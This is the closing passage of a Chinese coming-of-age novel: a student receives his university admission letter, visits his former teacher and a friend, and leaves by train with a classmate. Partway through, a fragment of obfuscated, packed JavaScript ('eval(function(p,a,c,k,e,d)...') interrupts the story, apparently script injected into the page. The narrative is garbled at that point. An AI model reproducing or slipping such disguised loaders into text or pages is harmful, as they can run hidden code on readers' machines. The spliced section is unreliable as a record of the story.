妈妈手里的铲子停了一下,然后继续翻炒,但声音明显不稳了:“拿给我看看。” 李小四把通知书递给她。妈妈接过去,先在围裙上擦了擦手,才接过那张纸,看了很久。她不说话,就那么看着,一个字一个字地看,好像在确认这上面的每一个字都是真的。 “我去给你姐打电话。”妈妈转过身去,在围裙上擦了擦眼睛,然后走到阳台上,拨了姐姐的号码。 爸爸放下报纸,走过来,接过通知书,也看了很久。他看得很慢,比妈妈还慢,好像在读一篇很难的文章。看完之后,他把通知书还给李小四,拍了拍他的肩膀。那只手很粗糙,手指粗壮,指甲缝里有洗不掉的油污。但那只手很温暖,比任何柔软的手都温暖。 “好。”爸爸只说了一个字,但那个字里,有李小四想要的全部。 李小四回到自己的房间,把录取通知书放在书桌上,靠着台灯立着。他退后两步,看着那张白纸黑字红章的东西。它像一个句号,给十二年的求学生涯画上了一个圆满的结尾。但它又像一个冒号,后面跟着的,是未知的四年。 他拿出那支姐姐送的钢笔,吸满墨水,在笔记本的最后一页写下了几行字: “今天收到录取通知书。省师范大学,物理学专业。” “从38分到649分,从倒数第三到全省2847名。这条路,我走了六年。” “谢谢每一个陪我走过的人。谢谢妈妈,谢谢爸爸,谢谢姐姐,谢谢马老师,谢谢沈老师,谢谢周老师,谢谢大壮,谢谢林小美。” “大学,我来了。” 写完之后,他合上笔记本,把它放进抽屉里,跟那些旧的本子放在一起。他站起来,走到窗前,拉开窗帘。窗外的阳光很好,照在对面楼的墙上,反射出一片温暖的光。远处的树全绿了,夏天的树是那种深深的、浓得化不开的绿,像一幅油画。 他掏出手机,给林小美发了一条消息:“录取通知书到了。省师范大学,物理学专业。” 过了几分钟,林小美回:“我也是。省师范大学,物理学专业。” “那我们又是同学了。” “嗯,又是同学了。” 李小四看着这行字,心里涌起一种说不清的感觉。不是高兴,不是激动,而是一种更安静的、更深的东西——像河水汇入大海,不再奔腾,不再咆哮,只是静静地、慢慢地,融入更大的水域。从初中到高中,从高中到大学,他们一直是同学。六年了,还会继续。 八月的最后一天,李小四去了初中部。 他想去看看马老师。他骑着电动车到了学校门口,门卫老大爷认得他,摆了摆手让他进去了。校园里很安静,没有学生,只有蝉在树上叫,声音黏稠得像化不开的糖浆。操场上空无一人,旗杆上的国旗被收走了,光秃秃的杆子戳在那里,像个孤独的巨人。 他爬上三楼,走到马老师办公室门口。门开着,马老师坐在里面,正在写什么东西。他穿着一件白色的短袖衬衫,头发比以前白了很多,鬓角全白了,但精神看起来不错。他抬起头,看到李小四,愣了一下,然后笑了。 “李小四?你怎么来了?” “来看看您,马老师。” 李小四走进办公室,在马老师对面坐下。办公室还是那个办公室,桌子还是那张桌子,窗台上的那盆绿植还在,长得更茂盛了,藤蔓垂下来,快要碰到地板了。墙上贴着的还是那张中国地图,红笔圈的地方还在,他离得近了,看清了——是西藏。 “马老师,那个红圈是哪里?” “西藏。我一直想去的地方。”马老师看了一眼地图,笑了笑,“还没去成。等退休了去。” 李小四看着那个红圈,想着马老师站在西藏的天空下,会是什么样子。他穿着那件洗得发白的夹克,头发被风吹乱,眼睛眯成一条缝,看着远处的雪山。那个画面,他想,一定很好看。 “马老师,我考上了省师范大学,物理学专业。” 马老师点了点头,好像早就知道。“你初中的时候,我就知道你能考上。不是因为你聪明,是因为你肯学。” “马老师,谢谢您。” “谢我什么?” “谢谢您那本练习册。谢谢您没有放弃我。” 马老师沉默了一会儿,然后说了一句让李小四记了很久的话:“我没有放弃你,是你没有放弃自己。” 从初中部出来的时候,天已经快黑了。李小四骑着电动车,又去了高中部。他想在开学前去看看,看看那个他待了三年的地方。校门关着,他进不去,就站在门口,隔着铁栏杆往里看。教学楼五楼的窗户关着,窗帘拉得严严实实,看不到里面。但他知道,那间教室里曾经坐着他、许哲、刘洋、赵磊,还有四十多个同学。他们在那里度过了一千多个日夜,刷了上万道题,考了几十场试,然后在一个普通的夏天,各奔东西。 他站在校门口,看了很久。直到看门的老大爷出来问他找谁,他才回过神来,说了声“不找谁”,转身走了。 开学前一周,李小四接到了大壮的电话。 “小四,我回来了!”大壮的声音从手机里传出来,带着那种熟悉的、热气腾腾的劲儿,“我辞了天津的工作,回县城开店了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那当然。”大壮笑了,“你也要成功。你当老师,我开维修店,咱们都是靠技术吃饭的。” “嗯,都是靠技术吃饭的。” 李小四在店里待了一个多小时,帮大壮整理了一下货架,把零件按类别放好。两个人一边干活一边聊天,聊了天津的事,聊了高考的事,聊了大学的事。大壮说他可能过两年找个对象,结婚,生孩子,在县城安家。李小四说他要读四年大学,然后回县城当老师,也安家。 “那咱们以后还能常见面。”大壮说。 “常见面。” 李小四从大壮店里出来的时候,天已经快黑了。他骑着电动车,经过学校门口,经过烤肠摊,经过奶茶店,经过那排银杏树。路灯亮了,橘黄色的光洒在路面上,把他的影子拉得很长。他骑得很慢,想把这些地方再看一遍,因为这些地方装着他六年的记忆。 九月十号,大学报到的日子。 李小四起得很早。他洗漱完,穿上前几天买的新衣服,一件白色的T恤和一条深蓝色的牛仔裤,很普通,但很干净。妈妈给他煮了一碗面,卧了两个荷包蛋,跟高考那天早上一样。他低头吃面,吃得很慢,每一口都嚼很久。 “妈,我走了。” “到了打电话。” “好。” 爸爸骑着电动车送他去火车站。李小四坐在后面,背着那个深蓝色的书包,书包里装着录取通知书、身份证、银行卡和几件换洗的衣服。他回头看了一眼家——那栋老旧的楼房,四楼,窗户开着,妈妈站在窗前,朝他挥手。他朝她挥了挥手,然后转过身,看着前方。 火车站里人很多。李小四背着书包,站在候车室门口,看着来来往往的人群。有人在笑,有人在哭,有人在拥抱,有人在挥手。每个人都在奔赴自己的远方。 手机震了一下。是林小美发来的消息:“你到了吗?” “刚到车站。你呢?” “我在候车室。二楼,进站口旁边。” 李小四走上二楼,在进站口旁边看到了林小美。她穿着一件白色的连衣裙,头发散着,背着一个新的书包——深蓝色的,跟她以前那个一样,但边角没有磨毛,是新的。她站在那里,手里拿着手机,正在看。 “林小美。”他叫她。 她抬起头,嘴角弯了一下,那个笑容很淡,但很真。 “走吧,”她说,“该上车了。” 他们走进站台,找到自己的车厢。座位是挨着的,靠窗。李小四让林小美坐里面,自己坐外面。火车开动了,窗外的景物开始往后退,慢慢地,然后越来越快。县城的天际线在窗外渐渐变小,楼房变成火柴盒,街道变成线条,人影变成点。 李小四看着窗外,看了很久。他在看那些他熟悉的地方——学校、烤肠摊、奶茶店、银杏树、家。它们在窗外一点一点地变小,一点一点地模糊,最后消失在地平线的那一端。 “李小四。”林小美叫他。 他转过头。林小美看着他,眼神里有光,那种光是“我们终于走到了这里”的光。 “怎么了?”他问。 “没什么。就是想叫你一声。” 李小四笑了。他看着窗外的天空,天很蓝,云很白,一架飞机从云层里穿出来,拖着一条长长的白色尾巴,慢慢地从天空的这一头飞到那一头。 他想起六年前,初一开学第一天,他走进县一中的校门,心里想的是“这是一个全新的开始”。六年后,他坐在去大学的火车上,心里想的也是“这是一个全新的开始”。但这两个“开始”不一样。六年前的那个开始,他不知道自己会走到哪里。六年后的这个开始,他知道。他要当老师。他要回到县城。他要让妈妈不用再站超市,让爸爸不用再修车。他要在那排银杏树下,走很多年。 火车在铁轨上奔驰,发出有节奏的声响。窗外的风景从县城变成了田野,从田野变成了山,从山变成了隧道,从隧道又变成了天空。李小四靠在椅背上,闭上眼睛。他听到火车的轰鸣声,听到风从窗户的缝隙里钻进来的声音,听到林小美翻书的声音。她的翻书声很轻,轻到不仔细听就听不到,但他听到了。每次翻书,都是纸与纸之间的一声轻响,像蝴蝶扇动翅膀。 他想起初一那年的秋天,林小美坐在他旁边,也是这样翻书。六年了,她的翻书声一直没有变。他睁开眼睛,看着窗外。阳光从云层里透出来,洒在田野上,把整片大地照得金灿灿的。远处有村庄,有炊烟,有狗在叫,有孩子在跑。 这个世界很大。但他要去的地方,他知道。 (全文完)